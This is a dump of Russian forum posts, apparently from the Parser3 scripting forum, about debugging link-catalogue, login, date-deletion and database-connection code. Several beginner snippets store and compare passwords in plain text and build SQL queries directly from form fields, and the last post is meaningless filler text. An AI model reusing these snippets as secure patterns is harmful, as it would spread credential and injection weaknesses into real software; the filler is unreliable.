"20705","У меня было на VirtualHost, но я попробовал и на cgi-bin. Не работает. Apache/2.0.45\
Переменную REMOTE_USER мне удалось получить, только, если соответствующий .htaccess положить рядом с парсером. При этом пароль спрашивается, понятное дело, везде.\
Что-то с обработчиками во втором апаче намутили похоже."
"20707","[code]\
@ add_link[]\
[/code]\
зачем тут пробел? так не может работать...\
\
по теме... есть ощущение, что вы не очень понимаете что делаете...\
как вы определяете, произошло дублирование или нет?\
где код метода show_form?\
не в нем-ли вы показываете все содержимое со ссылками? если в нем, то неудивительно... добавление происходит после отображения...\
в любом случае, после добавления следует как-то считать новое содержимое...\
\
по коду... вы ничего не слышали про метод locate? там, где вы делаете ^external_links.menu{} locate подходит лучше:\
[code]\
$est(^if(^external_links.locate[url;$form:url]){1}{0})\
[/code]\
\
это если переделывать в лоб, а если по хорошему, то доставать все записи из БД для того, чтобы проверить есть уже подобная ссылка или нет - плохо. Представьте, что там их пара миллионов (знаю, что абсурд, но вы не знаете как будет развиваться система дальше)?\
\
по хорошему надо сделать что-нить типа этого:\
$exist(^int:sql{SELECT COUNT(*) FROM xlinks WHERE url = '$form:url'})\
\
и естественно для такого запроса стОит сделать индекс на столбце url..."
"20708","Миша, спасибо, что нашли возможность ответить.\
То, что не вполне понимаю, что делаю - это к сожалению правда. в противном случае - все сделал бы сам.\
Код происходит из готевой книги описанной в Мануале\
Ниже класс\
\
и документ в котором все ппроисходит\
[code]\
$gb[^gbook::load[]]\
^gb.show_form[]\
^gb.test_and_post_message[]\
[/code]\
\
[code]\
@CLASS\
xlinks\
\
@load[]\
^MAIN:dbconnect{\
	$external_links[^table::sql{\
		SELECT\
			id,\
			url,\
			title,\
			comment,\
			date\
		FROM\
			xlinks\
		ORDER BY\
			id\
		ASC\
		}\
	]\
}\
\
$date[^date::now[]]\
\
\
@show_links[]\
^if($external_links){\
	^external_links.menu{	\
	<dl>\
	<dt>${external_links.id}. <a href=\"$external_links.url\">$external_links.url</a></dt>\
	<dd>Название: <b>$external_links.title</b></dd>\
	<dd>Описание: $external_links.comment</dd>\
	</dl>\
	}[<hr>]\
}{\
	Ссылок нет!\
}\
<hr>\
\
\
@show_form[]\
$date[^date::now[]]\
\
<table border=\"0\" cellpadding=\"4\" cellspacing=\"2\">\
<form method=\"POST\" action=\"do.html\">\
<tr>\
<td>URL (255 символов):</td>	<td><input name=\"url\" value=\"http://\" size=\"50\"></td>\
</tr><tr>\
<td>Заголовок (255 символов):</td>	<td><input name=\"title\" size=\"50\"></td>\
</tr><tr>\
<td valign=\"top\">Описание:</td>		<td><textarea cols=\"50\" name=\"comment\" rows=\"5\"></textarea></td>\
</tr><tr>\
<td><input type=\"submit\" value=\"&nbsp^;&nbsp^;&nbsp^;OK&nbsp^;&nbsp^;&nbsp^;\" name=\"post\"> <input type=\"reset\" value=\"Cancel\"></td><td>&nbsp^;</td>\
</tr>\
</form>\
</table>\
\
\
\
@test_and_post_link[]\
\
##	Проверяем есть ли такой УРЛ?\
# 1 = есть\
# 0 = нет\
	^if($external_links){\
		^external_links.menu{	\
			^if(\"$external_links.url\" eq \"$form:url\"){\
			$est[1]\
			}{\
			$est[0]\
			}\
		}\
	}\
##\
\
^if(def $form:post){\
	^if(\"$form:url\" ne \"http://\" && \"$form:title\" ne \"\"){	\
\
	\
^if($est == 0){\
$est\
$form:url\
		^MAIN:dbconnect{\
			^void:sql{\
			INSERT INTO xlinks (\
				url,\
				title,\
				comment,\
				date\
				)\
			VALUES (\
				'$form:url',\
				'$form:title',\
				'$form:comment',				\
				'${date.year}-${date.month}-${date.day}'\
			)}\
		}\
		$response:refresh[\
		$.value[3]\
		$.url[/xlinks/]\
		]\
	\
}{\
	Ссылка уже есть!<br>\
}\
\
	}{\
		Поля <b>url</b> и <b>title</b> обязательны для заполнения!<br>\
	}\
}\
\
@show_and_delete[]\
^if($external_links){\
	<table width=\"100%\" border=\"0\">\
	<tr bgcolor=\"#ffffdd\">\
	<td><b>Id</b></td>\
	<td><b>Url</b></td>\
	<td><b>Title</b></td>\
	<td><b>Date</b></td>\
	<td><b>Сomment</b></td>	\
	<td><b>Do</b></td>\
	</tr>\
	^external_links.menu{\
	<tr bgcolor=\"#ffffff\">\
	<td valign=\"top\" nowrap>$external_links.id</td>\
	<td valign=\"top\" nowrap>$external_links.url</td>\
	<td valign=\"top\" nowrap>$external_links.title</td>\
	<td valign=\"top\" nowrap>$external_links.date</td>\
	<td valign=\"top\">$external_links.comment</td>\
	<td valign=\"top\" nowrap>\
		<form  method=\"POST\">\
		<input type=\"submit\" value=\"Delete\" name=\"deleteurl\">\
		</form>\
	</td>\
	</tr>\
	}\
	</table>\
}{\
	Ссылок нет!<br>\
}\
\
^if(def $form:deleteurl){\
	^MAIN:dbconnect{\
			^void:sql{\
			DELETE FROM\
				xlinks\
			WHERE\
				id = $external_links.id\
			LIMIT\
				1\
			}\
	}\
	$response:refresh[\
	$.value[0]\
	$.url[$request:uri]\
	]\
}\
[/code]\
\
Вот такие дела"
"20709","#\
# Структура таблицы `xlinks`\
#\
CREATE TABLE xlinks (\
  id int(4) NOT NULL auto_increment,\
  url varchar(255) NOT NULL default '',\
  title varchar(255) NOT NULL default '',\
  comment text,\
  date date default NULL,\
  PRIMARY KEY  (id)\
) TYPE=MyISAM PACK_KEYS=0;"
"20710","вы не сообщаете КАК вы обнаруживаете, что там произошло дублирование.\
\
вы не сообщаете КОГДА вы вызываете метод, отображающий записи.\
\
и самое главное, вы не пишите ЧТО ВЫ ДЕЛАЕТЕ.\
\
может найдутся телепаты. я предположил в предыдущем сообщении. вы похоже проигнорировали."
"20711","Доброе время суток...\
Вот такая прблема..\
имя  в базе сравнить надо и если да то пропустить если нет то НЕТ..\
Помогите чем сможете\
\
\
Вот код ниже где ошибка???\
\
\
\
\
________________________________________________-\
<form method=\"POST\" action=\"input.html\" > \
<p> Имя: <input type=\"text\" name=\"name\"> </p> \
 <p> Имя для сравнения: <input type=\"text\" name=\"pass\"> </p> \
<p> <input type=\"submit\" value=\"Войти\" name=\"posted\">&nbsp;&nbsp;&nbsp; </p> \
</form>\
\
^if(def $form:name && def $form:pass){\
^connect[$connect_string]{ \
$ima[^void:sql {select name  from book\
where name=$form.name}]\
^if($ima eq $form:name){Равны}{не равны}      \
}}\
\
\
\
}{}"
"20712","Миша, поверьте, я ни в коем случае не хочу отнимать Ваше время\
тем более на такие мелочи\
\
постарался максимально прокомментировать класс\
если Вам и после этого покажется что я не последовательно излагаю свои мысли,\
мне придется признать себя клиническим случаем\
\
\
\
	\
\
\
	\
\
\
/xlinks/auto.p\
[code]\
@USE\
/classes/gbook.p\
\
@main[]\
^body[]\
\
@dbconnect[code]\
^connect[$SQL.connect-string]{$code}\
\
@body[]\
$response:expires[^date::now[]]\
<html>\
<body>\
^body_content[]\
</body>\
</html>\
[/code]\
\
/xlinks/index.html\
[code]\
@body_content[]\
$gb[^gbook::load[]]\
^gb.show_messages[]\
[/code]\
\
/xlinks/add.html\
[code]\
@body_content[]\
$gb[^gbook::load[]]\
^gb.show_form[]\
^gb.test_and_post_message[]\
[/code]\
\
/xlinks/delete.html\
[code]\
@body_content[]\
$gb[^gbook::load[]]\
^gb.show_and_delete[]\
[/code]\
\
[code]\
@CLASS\
xlinks\
\
#	инициализация\
@load[]\
^MAIN:dbconnect{\
	$external_links[^table::sql{\
		SELECT\
			id,\
			url,\
			title,\
			comment,\
			date\
		FROM\
			xlinks\
		ORDER BY\
			id\
		ASC\
		}\
	]\
}\
\
$date[^date::now[]]\
\
#	если существует переменная $external_links то отображаем все содержимое базы\
#	иначе Ссылок нет\
#	происходит сие в корневом документе:\
#	/xlinks/\
#	$xl[^xlinks::load[]]\
#	^xl.show_links[]\
#\
@show_links[]\
^if($external_links){\
	^external_links.menu{	\
	<dl>\
	<dt>${external_links.id}. <a href=\"$external_links.url\">$external_links.url</a></dt>\
	<dd>Название: <b>$external_links.title</b></dd>\
	<dd>Описание: $external_links.comment</dd>\
	</dl>\
	}[<hr>]\
}{\
	Ссылок нет!\
}\
\
\
#	показываем форму\
#	сам обрабатывающий скрипт в другом документе action=\"do.html\"\
#	с целью не передавать повторно скрипту данные при релоаде страницы\
#	/xlinks/add.html\
#	$xl[^xlinks::load[]]\
#	^xl.show_form[]\
#\
@show_form[]\
$date[^date::now[]]\
\
<table border=\"0\" cellpadding=\"4\" cellspacing=\"2\">\
<form method=\"POST\" action=\"do.html\">\
<tr>\
<td>URL (255 символов):</td>	<td><input name=\"url\" value=\"http://\" size=\"50\"></td>\
</tr><tr>\
<td>Заголовок (255 символов):</td>	<td><input name=\"title\" size=\"50\"></td>\
</tr><tr>\
<td valign=\"top\">Описание:</td>		<td><textarea cols=\"50\" name=\"comment\" rows=\"5\"></textarea></td>\
</tr><tr>\
<td><input type=\"submit\" value=\"OK\" name=\"post\"> <input type=\"reset\" value=\"Cancel\"></td><td>&nbsp^;</td>\
</tr>\
</form>\
</table>\
\
\
#	здесь начинаются извороты\
#\
#\
#\
#\
#\
#\
@test_and_post_link[]\
\
##	Проверяем есть ли такой УРЛ?\
#	при существовании переменной $external_links нечинаем перебирать столбец из базы\
#	при совпадении значения из базы и передаваемого из формы\
#	зажигаем флаг (если правильно использую термин)\
# $est[1] - есть запись в базе\
# $est[0] - нет записи в базе\
\
	^if($external_links){\
		^external_links.menu{	\
			^if(\"$external_links.url\" eq \"$form:url\"){\
			$est[1]\
			}{\
			$est[0]\
			}\
		}\
	}\
\
#	При существовании передаваемых данных из формы, проверяем (косо и криво) заполнены ли поля\
^if(def $form:post){\
	^if(\"$form:url\" ne \"http://\" && \"$form:title\" ne \"\"){	\
\
#	если переменная $est == 0 значит записи в базе нет\
#	соединяемся и вставляем ряд в таблицу	\
^if($est == 0){\
		^MAIN:dbconnect{\
			^void:sql{\
			INSERT INTO xlinks (\
				url,\
				title,\
				comment,\
				date\
				)\
			VALUES (\
				'$form:url',\
				'$form:title',\
				'$form:comment',				\
				'${date.year}-${date.month}-${date.day}'\
			)}\
		}\
#	После добавления ряда в таблицу возвращаемся в корень\
#	где отображаются все записи из базы\
		$response:refresh[\
		$.value[0]\
		$.url[/xlinks/]\
		]\
	\
}{\
#	Если переменная $est не равна 0, предполагаем, что запись уже есть, о чем и сообщаем\
	Ссылка уже есть!\
}\
\
	}{\
#	Если не  заполнены поля - напоминаем\
		Поля <b>url</b> и <b>title</b> обязательны для заполнения!<br>\
	}\
}\
#\
#	Сие происходит в документе на который указывает action формы\
#	do.html\
#	$xl[^xlinks::load[]]\
#	^xl.test_and_post_link[]\
[/code]\
\
В конечном, итоге код вообще перестал работать...\
Т.е. логика простая:\
проверяем есть ли уже такая запись в таблице\
 - нет - добавляем новую\
 - да - сообщаем\
Где нарушение?\
\
Спасибо."
"20713","http://forum.atom.ru/thread.php?threadid=2186&boardid=48&styleid=1\
\
но очень на эту ситуацию с CMS похоже :)"
"20714","void  1. сущ.  1)  а) пустота; вакуум; лакуна. пробел, пропуск, пустое место\
\
Надо бы string:sql"
"20715","не выходит всё равно..\
даже если стринг ставлю\
пожет в коде что не так??\
Посмотрите ну вообще в тупик встал....\
ВОТ ЗАСАДА..."
"20717","для того, чтобы оно работало во первых должен существовать do.html про который не написано.\
\
во вторых, [b]пользователь должен нажать кнопку[/b], о чем не говориться.\
\
в третих, [b]пользователь должен что-то ввести в поля title и url[/b], а что вводили - не говориться.\
\
это и называется: \"описать что делали\", а писать комментарии\
[quot]\
Если переменная $est не равна 0, предполагаем, что запись уже есть, о чем и сообщаем\
[/quot]\
совершенно незачем, об этом понятно и лаконично говорит за себя конструкция (как и другие конструкции парсера):\
[code]\
^if($est == 0){\
...\
}{\
...\
}\
[/code]\
\
комментируют не код, комментируют логику работы кода в непонятных местах.\
\
итак, похоже выпытали у вас всё (хотя написаный код без правки не будет работать, нету do.html на который постят документ, но предположим что то, что у вас описано как add.html на самом деле do.html... комментарии про do.html лично я не понял. т.е. мы опять видим не copy/paste того, что у вас есть, а то, что вы напечатали, поэтому далее опять только предположения...)\
\
итак, предположим, что мы попали на документ do.html который у нас показывает форму. мы вбиваем в форму title, url и жмем сохранить, у нас происходит пост на себя-же, при этом в БД добавляется новая запись и происходит refresh на /xlinks/, и именно тут выводится список ссылок.\
\
все верно? (именно ЭТО я просил описать, потому как угадать в какой последовательности что у вас вызывается невозможно)\
\
если так, то еще вопросы (приведенный код по своей сути работать должен, хотя он не оптимален)...\
добавляем запись, она обычно нормально добавляется и показывается?\
\
или иногда сделали один пост, а там добавилось две одинаковые ссылки? как вы обнаруживаете, что там что-то задублировано?\
\
[quot]\
В конечном, итоге код вообще перестал работать...\
[/quot]\
\
как перестал работать?"
"20718","Вы писали в предыдущем посте, что статически вызывается: \
$name[first]\
#static call\
^brick.$name.method[params], \
а можно вызывать динамически, т.е. сначала я создаю объект, а потом использую? Например так: \
$firstobject[^brick.$name::create[]]\
^firstobject.show[] ???\
Выше описанная конструкция не работает."
"20719","поскольку сам сходу не по тем делам начал рассуждать...\
действительно - база данных тут пока не причем :))"
"20720","так это называется по-хорошему.\
\
такого синтаксиса нет, поскольку имена классов в конструкторе сейчас только константы.\
\
сразу предупреждаю: сделать виртуальный можно, но его создание специально не упрощено. чтобы затруднить бездумное использования механизма, который при бездумном использовании порождает абсолютно непонятный код.\
\
а делается так:\
\
[code]\
$name[y]\
^xxx_factory.create[$name]\
[/code]\
\
где\
[code]\
@CLASS\
xxx_factory\
\
@create[class_name]\
^switch($class_name){\
   ^case[x]{$result[^x::create[]]}\
   ^case[y]{$result[^y::create[]]}\
   ^case[z]{$result[^z::create[]]}\
}\
[/code]"
"20721","у меня устойчивое впечатление, что вы пытаетесь микроскопом заколотить какой-то выдуманный вами гвоздь.\
\
и на самом деле надо думать совсем в другую сторону.\
\
если не сложно, опишите задачу?"
"20722","[code]\
\
where name=[color=red]$form.name[/color]}]\
### надо $form:name\
\
[/code]"
"20723","А http://www.parser.ru/hosters/ зачем? ;-)"
"20725","Объясните где те грабли на которые я наступил?\
Почему старые версии Парсера работаю корректно на моей версии кода?"
"20726","Подскажите плиз как удалить из базы записи недельной давности и старше?\
\
Вот это вот удаляет все, а если сделать date меньше(<), то не удаляет ничего... запарился.\
[code]\
$now[^date::now[]]\
$old[^date::create($now-7)]\
\
^void:sql{\
DELETE FROM regme WHERE date>${old.year}-${old.month}-${old.day}\
         }\
[/code]"
"20727","Рекомендую \"побаловаться\" с запросами SELECT * FROM regme WHERE ...\
\
Как вариант можно ещё организовать отбор по id (выставляется автоматически) все id меньше чем id записи указанной даты \
\
Ещё попробуйте ${old.year}-${old.month}-${old.day} вставить в переменную, затем переменную вставить вместо ${old.year}-${old.month}-${old.day} в SQL запросе\
\
\
ps: рекомендую начать со второго"
"20728","...после прочтения документации\
\
\
^void:sql{DELETE FROM regme WHERE date<CURDATE() - 7}"
"20729","Кажется, я никогда не пытался сменить окраску в процессе - только на выводе."
"20730","Привет.\
Возникла проблема при подключении к БД Interbase.\
В лог Parser пишется строка\
[Wed Sep 10 14:04:45 2003] /admin/: d:/apache/www_rek/admin/index.html(27): \
'connect' method of MAIN (MAIN) accepts maximum 2 parameter(s) [parser.runtime]\
\
Подключаюсь с помощью библиотеки parser3ib.dll \
Сама dll лежит в каталоге lib. (рядышком с остальными dll)\
\
В конфигурационный файл добавлена строка\
\
ib [TAB] $sqldriversdir/parser3ib.dll\
\
Коннект и запрос вызываются как \
\
^connect[ib://db=n:\\database\\www.gdb;user=sysdba;pwd=masterkey]{\
      ^void:sql{insert into news \
         (date, header, body) \
      values  \
         ('$form:date', '$form:header', '$form:body') \
      } \
      :сообщение добавлено \
      } \
}\
\
\
Parser 3.3.0.0007sp1\
ИБ-сервер: yaffil-835 SS\
БД создана со страницой win1251 (которая \"насмерть\" указана в драйвере)\
Строка коннекта правильная.\
SQL в интербейзе выполняется.\
\
Вроде все.\
\
З.Ы. А то через Perl стало как-то неудобно в БД лазить. :-)"
"20731","просто удобно...\
допустим, я из латвии - если сайт на русском - адресса всеравно с латышскими диакритическими символами. можно конечно вставлять спецсимволы - но это неудобно ;-)"
"20735","Меня смутила цитата из \
http://www.enterstudio.ru/support/parser3ib/docs.html\
\
=== Цитата ====\
Пример правильной строки коннекта:\
^connect[ib://db=с:\\data\\base.gdb;user=sysdba;pwd=masterkey;]"
"20736","Не могу понять почему не обрабатывается exception а вылетает пустая страница и на ней написано\
outside of 'connect' operator.\
Причем раньше все работало нормально. Все исключения обрабатывались и инфа выводилась в понятном виде. А сейчас вылетает outside of 'connect' operator и думай где какая ошибка в базе (то ли процедура не та, то ли поле не то)"
"20737","некоторые подробности о парсерных сообщениях об ошибке можно найти в [url=\"http://www.parser.ru/faq/errors/\"]FAQ-е[/url]\
 "
"20738","$substr[$sections.uri]\
$str_req[$request:uri]\
^if(^str_req.pos[$substr] >-1) \
{\
  трали-вали\
}"
"20739","[code]\
^if(^request:uri.pos[$sections.uri] > -1){трали-вали}\
[/code]\
\
хотя если вы опишите задачу, то может к её решению можно будет подойти с другой стороны. сейчас решается достаточнор общая задача: содержит ли одна строка заданную подстроку.\
\
однако анализируя, что в чем ищется можно предположить, что вы проверяете, \"находимся-ли мы с заданном разделе\", в этом случае посмотрите на:\
[code]\
^if(in \"$sections.uri\"){тили-тили}\
[/code]\
подробности в [url=\"/docs/lang/opin.htm\"]документции[/url]"
"20741","Это чтобы э-э урл Новости был выделен и тогда когда мы в \
/news/\
и в \
/news/?day=05\
(например)"
"20743","по-моему >-1 имеет право на жизнь только если сумеет своё право отстоять."
"20744","думал, как бы защитить е-mail адреса от спамеров, собирающих их со страниц. На сайте http://www.spectator.ru/ нашёл пару статеек на эту тему. воплотил в жизнь одну идею. Посмотрите пожалуйста, может можно легче сделать. Спасибо\
\
[code]\
#обрабатываем всё в постпроцессе\
@postprocess[str]\
#сначала заменим все готовые ссылки на e-mail на то что нужно\
$str[^str.match[<a\\s+href\\s*=\\s*\"?\\s*mailto:([a-zA-Z0-9_]+)@([a-zA-Z0-9_.]+)\\s*\"?>($match.1)?(.+?)</a>][gi]{\
<script>\
var mailto=('${match.1}'+'%40'+ '${match.2}')^;\
document.write('<a href=mailto:'+mailto+'>$match.4</a>')^;\
</script>\
<noscript>[Включите javascript, чтобы увидеть email]</noscript>}]\
\
#теперь заменим все нормальные адреса на то же самое (это если в тексте было просто написано мыло без ссылки)\
$str[^str.match[([a-zA-Z0-9_]+)@([a-zA-Z0-9_]+)\\.([a-zA-Z0-9_.]+)][gi]{\
<script>\
var mailto=('${match.1}'+'%40'+'${match.2}'+'.'+'${match.3}')^;\
document.write('<a href=mailto:'+mailto+'>${match.1}&#64^;${match.2}&#46^;$match.3</a>')^;\
</script>\
<noscript>[Включите javascript, чтобы увидеть email]</noscript>}]\
\
#добьём всё что осталось случайно\
$str[^str.match[([a-zA-Z0-9_]+)@([a-zA-Z0-9_]+)\\.([a-zA-Z0-9_.]+)][gi]{${match.1}&#64^;${match.2}&#46^;$match.3}]\
$str[^str.match[@][gi]{&#64^;}]\
$str\
[/code]"
"20745","1. А как Вы защищаете адреса от спамеров\
2. Можно ли средствами парсера как-нибудь перекодировать символы в их  цифровые аналоги. Например\
&#109;&#97;&#105;&#108;&#116;&#111;&#58 — то же самое, что и «mailto:»"
"20746","Хотя в доке сказано, что менять будет только спецсимволы и рус. символы\
\
^taint[file-spec][$email]"
"20747","при удалении инфы о доме надо удалить и инфу по квартирам этого дома(у каждой есть рисунок-план), имя плана: IDдома_IDквартиры.GIF(1_2.gif) хранится в базе.\
\
как ВСЕ планы этого дома стереть в один заход?"
"20748","[code]\
$for_delete[^file:list[/;HOUSE_ID.*?\\.gif^$]] #в регекспе я не уверен совсем\
\
^for_delete.menu{\
^file:delete[$for_delete.name]\
\
}\
\
[/code]"
"20749","что-то типа:\
[code]\
$for_delete[^file:list[путь где живут картинки;${house_id}_\\d+?\\.gif^$]]\
[/code]"
"20751","Может на сайте сделать форму для отправки сообщений\
e-мылы менять на строку со ссылкой - написать письмо дяде Васе или что-то аналогичное.\
\
При клике по ссылке открывается форма - пиши и отправляй."
"20753","Многие предпочитают пользоваться  почтовым клиентом.\
1. человек должен суметь скопировать адрес из браузера (человек, а не робот).\
2. иногда нужно приложить файлы. можно конечно и их через форму отправлять, но это уже лишний геморрой"
"20755","кто захочет выковыривать мэйлы с Ваших страниц, то он это провернет. Так что варианты здесь: \
1.Форма\
2.Не усложнять себе \"жисть\" и  обойтись примитивной защитой от дурака. Чай не для ФБР сайт делаете."
"20756","если задаться целью, то конечно можно выдернуть все адреса, но робот это сделать не сможет - тяжело уследить за всеми спосоьами защиты\
а меня интересует вопрос в принципе\
\
кстати, спрошу заново. Так можно как-нибудь перекодировать символы в их цифровые аналоги средствами парсера.\
\
Мнне пока-что видится совершенно тупой способ создания таблицы подстановок - символ-код с последующим replace'ом того,  что нужно"
"20758","Люди подскажите совсем в тупик встал...\
Есть БД . в ней таблица \
book\
в ней 3 поля id ,name,pass \
мне надо проверить(на парсере) ..если есть в базе имя то сравнить пороль если пороли совподают то пропустить на страницу если нет то написать что не правильно\
\
Ниже код \
посмотрите может ошибку найдёте ...\
За ранее спос...\
\
\
_____________\
\
<form method=\"POST\" action=\"input.html\" > \
<p> Имя: <input type=\"text\" name=\"name\"> </p> \
<p> Имя для сравнения: <input type=\"text\" name=\"pass\"> </p> \
<p> <input type=\"submit\" value=\"Войти\" name=\"posted\">&nbsp;&nbsp;&nbsp; </p> \
</form>\
\
^if(def $form:name && def $form:pass){\
^connect[$connect_string]{ \
$ima[^string:sql {select name from book\
where name=$form:name}]\
^if($ima eq $form:name){Равны}{не равны} \
}}\
\
\
\
}{}"
"20759","[code]\
^if(def $form:name && def $form:pass){\
^connect[$connect_string]{ \
$ima[^string:sql {select name from book\
where name=[color=red]'[/color]$form[color=red]:[/color]name[color=red]'[/color]}]\
^if($ima eq $form:name){Равны}{не равны} \
}}\
\
+\
[color=red]\
пароль\
совпадать\
\
\
[/color]\
\
\
}{}\
[/code]"
"20760","Думаю, надо ещё и пароль сравнивать.\
[code]\
^if(def $form:name && def $form:pass){\
^connect[$connect_string]{ \
^if(def ^string:sql{select name from book\
where name='$form:name' AND pass='$form:pass'}){Равны}{не равны} \
}\
}\
[/code]\
Но если надо проверять наличие только имени, то AND pass='$form:pass' из запроса можно смело убирать."
"20761","Привет.\
Есть форма и вызов cgi (perl).\
\
<form method=\"post\">\
<input type=\"text\" name=\"fio\" size=\"30\" value=\"$form:fio\">\
<input type=\"submit\" name=\"Submit\" value=\"Поиск\">\
</form>\
\
^if(def $form:fio){ \
$cgi_file[^file::cgi[/cgi-bin/find_phone.pl]]\
$cgi_file.text\
}\
\
Как сделать чтобы в скрипт был передан Upper($form:fio) ?\
Параметры я так понимаю парсер подставляет сам, а писать в \
$form:fio нельзя.\
\
Делать upper в perl или средствами БД не хочется(можется) по некоторым\
\"историческим\" причинам."
"20762","опять ошибка ды что хоть такое \
ууууууууу\
блин вроде простейшая операция а не выходит почему-то \
что делать?\
Может вы мне свой вариант \"рабочий\"  дадите а я с кодом бы поразбирался...... PLEAZZZZZZZZZ"
"20764","подробности в [url=\"/docs/lang/filecgiexec.htm\"]документации[/url]"
"20765","у варианта, который написал Павел нужно добавить $.default{}\
\
или делать примерно так:\
[code]\
^if(def $form:name && def $form:pass){\
	^connect[$connect_string]{ \
		^if(^int:sql{\
			SELECT\
				COUNT(*)\
			FROM\
				book\
			WHERE\
				name='$form:name' AND\
				pass='$form:pass'\
		}){Равны}{Не равны} \
	}\
}\
[/code]"
"20767","пробую ваш код выдаёт ошибку:\
connection string must start with protocol://\
connect_string\
x:/home/domain.ru/www/input.html(11)\
exception type=parser.runtime\
______________________________-\
connectx/home/domain.ru/www/input.html(11)\
if x/home/domain.ru/www/input.html(10)"
"20768","посмотрите в документации что там ДОЛЖНО быть."
"20769","ну так у мя вроде всё ok \
из примера взял\
в auto.п\
@auto[]\
^connect_string[mysql://root@domain.ru/baza]\
\
вот \
А что там должно быть??\
\
connect_int --??\
или вообще я запутался........."
"20770","я заканчиваю предпологать...\
\
без copy/paste [b]всего вашего кода вместе с конфигурационным auto.p[/b] с указанием что в каком файле лежит я думаю помочь вам будет сложно.\
\
есть еще файл для тестирования установки, который также может помочь ответить на некоторые вопросы (а может и не помочь). его брать в разделе \"скачать\"."
"20771","Хорошо попробую вам обьяснить..\
Вот регистрация проходит успешно\
а вот сверить пороль и имя не могу в чём ошибка???\
\
\
\
\
\
\
auto.p\
@auto[] \
$connect_string[mysql://root@wersia.ru/baza]\
___________________\
index.html\
\
\
<a href=\"input.html\">Войти</a>\
<form method=\"POST\"> \
<p> \
Имя: <input name=\"name\"> \
</p> \
Пороль: <input name=\"pass\">\
</p> \
<p> \
<input type=\"submit\" value=\"Регистрация\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
\
</p> \
</form> \
^if(def $form:name && def $form:pass ){\
^connect[$connect_string]{ \
      ^void:sql{insert into book \
         (name,pass) \
      values  \
         ('$form:name', '$form:pass') \
   \
\
} \
    Вы зарегестрированы\
</br>\
Для входа жми <a href=\"input.html\">Сюда</a>\
      } \
}{ \
   Для регистрации необходимо заполнить все поля\
} \
_____________________\
input.html\
\
\
<form method=\"POST\" action=\"input.html\" > \
\
<p> Имя: <input type=\"text\" name=\"name\"> </p> \
 <p> Имя для сравнения: <input type=\"text\" name=\"pass\"> </p> \
<p> <input type=\"submit\" value=\"Войти\" name=\"posted\">&nbsp;&nbsp;&nbsp; </p> \
</form>\
\
^if(def $form:name && def $form:pass){\
                                        ^connect[connect_string]{\
                                            ^if(^int:sql{\
                                                   select\
                                                    count(*)\
                                                   from\
                                                      book\
                                                   where \
                  name='$form:name' AND pass='$form:pass'}) {Равны}{не равны}\
}\
}"
"20773","Unhandled Exception (Debug)\
native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present)\
if\
\
x:/home/wersia.ru/www/input.html(12)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
if x:/home/wersia.ru/www/input.html(12)\
connect x:/home/wersia.ru/www/input.html(11)\
if x:/home/wersia.ru/www/input.html(10)\
\
\
\
\
\
______________\
Вот опять ошибка..\
Ну что ещё я уже код весь просмотрел но не может он не работать...\
ну что хоть..."
"20774","вы пробовали сделать copy/paste кода, который я вам [url=\"/forum/?id=20765\"]приводил[/url]?\
\
именно copy/paste, без ручного добавления пробелов, без удаления символа $ и т.д.?\
\
если не очень понимаете, к чему это может приводить, просто попробуйте copy/paste.\
\
P.S. дальше я пас. энный раз об обном и том-же нет желания. если у других оно есть - пусть помогают."
"20776","Получилось огромное вам спосибо.......\
ЕЕЕЕЕЕЕЕЕЕЕЕЕ"
"20777","У меня ваш код не работает. А, что пишет ваш parser3.log\
у меня он пишет то [code]gbook' class is undefined[/code] то [code]'show_messages' undefined method[/code] (то есть у вас в классе не определён метод [code]show_messages[/code])\
\
И я ещё не могу понять, вы пишете:\
\
[quote]\
/xlinks/auto.p\
\
[code]\
@USE\
/classes/gbook.p\
[/code]\
[/quote]\
\
а потом пишете:\
\
[quote]\
[code]\
@CLASS\
xlinks\
[/code]\
[/quote]\
\
Почему у вас то gbook то xlinks, причём здесь гостевая?"
"20778","файл называется gbook.p\
а в нем написано:\
[code]\
@CLASS\
xlinks\
[/code]\
т.е. в файле gbook.p описан класс xlinks :)\
\
в принципе, ничего не мешает писать именно так, как ничего не мешает определять в одном файле xyz.p несколько классов разом (подобный вариант имеет право на жизнь, когда один из определяемых тут классов - вспомогательный), однако мне кажется (и выподтверждаете это), что будут некоторые проблемы с читаемостью подобного кода (в общем я тоже не сразу понял, что тут [b]такое[/b])"
"20779","Тогда я не пойму у него просто в gbook.p описан xlinks или там ещё что-то есть? А если и есть то что, как оно там написано?\
И где подевался метод show_messages?\
\
На эти вопросы мне, скорее всего, ответит только автор класса.\
\
Вот я скопировал его класс в файл gbook.p, мне parser3.log пишет:\
[code]'gbook' class is undefined[/code]\
\
P.S. а как можно в одном файле описать два класса, ведь два раза [code]@CLASS[/code] нельзя написать?"
"20782","http://www.parser.ru/docs/lang/dateclass.htm и http://www.parser.ru/docs/lang/opeval.htm - вполне достаточно.\
В качестве более или менее готового решения - http://www.parser.ru/forum/?id=20267"
"20784","Привет всем! \"Users-profy\" отдельный привет,\
 можно сразу в холодильник положить!\
 Я вот с какой проблемой хочу поборотся,\
 и поделится с Вами: Есть у меня одна заветная мечта:\
 Хочется стать кем- то вроде web-master.\
 Но есть проблема, лазил по вакансиям,\
 там пишут нужно знать ТЕХНИЧЕСКИЙ-АНГЛИЙСКИЙ.\
 Сколько по сети не ползал, нигде не мог найти упоминания.\
 Помогите, подскажите, что сделать, и где искать?\
 Если, что пишите на kelvin@bigmir.net\
 Зовут меня Владимиром, просто Владимиром."
"20785","Ага, вставил [url=\"http://www.parser.ru/forum/?id=20267\"]код[/url]. Пасибо!!!"
"20786","Что-то я вообще не понял, про что это Вы."
"20787","Задача звучит приблизительно так:\
 Необходимо написать некоторый веб-интерфейс, при обращении к\
которому генерировалась бы форма. Поля формы представляют набор свойств. Каждое свойство имеет свой класс для работы с ним. Класс формирует свой собственный интерфейс(набор стандартных компонетов формы). Свойства объеденены в список(в списке может быть несколько свойств одного и того же класса). Последовательность в списке свойств задает их порядок вывода. Список свойств, а так же имена классов для обработки храняться в БД. Необходимо сформировать и вывести форму по номеру списка, который указан в адресной строке. Таким образом, заранее не известно какие классы будут использоваться и сколько будет элементов того или иного класса."
"20788","Информация ментально творит субъективный объект деятельности. Частное трогательно наивно. Мир дискредитирует структурализм. Представляется логичным, что сомнение, следовательно, принимает во внимание примитивный смысл жизни, исходя из принятого мнения. \
\
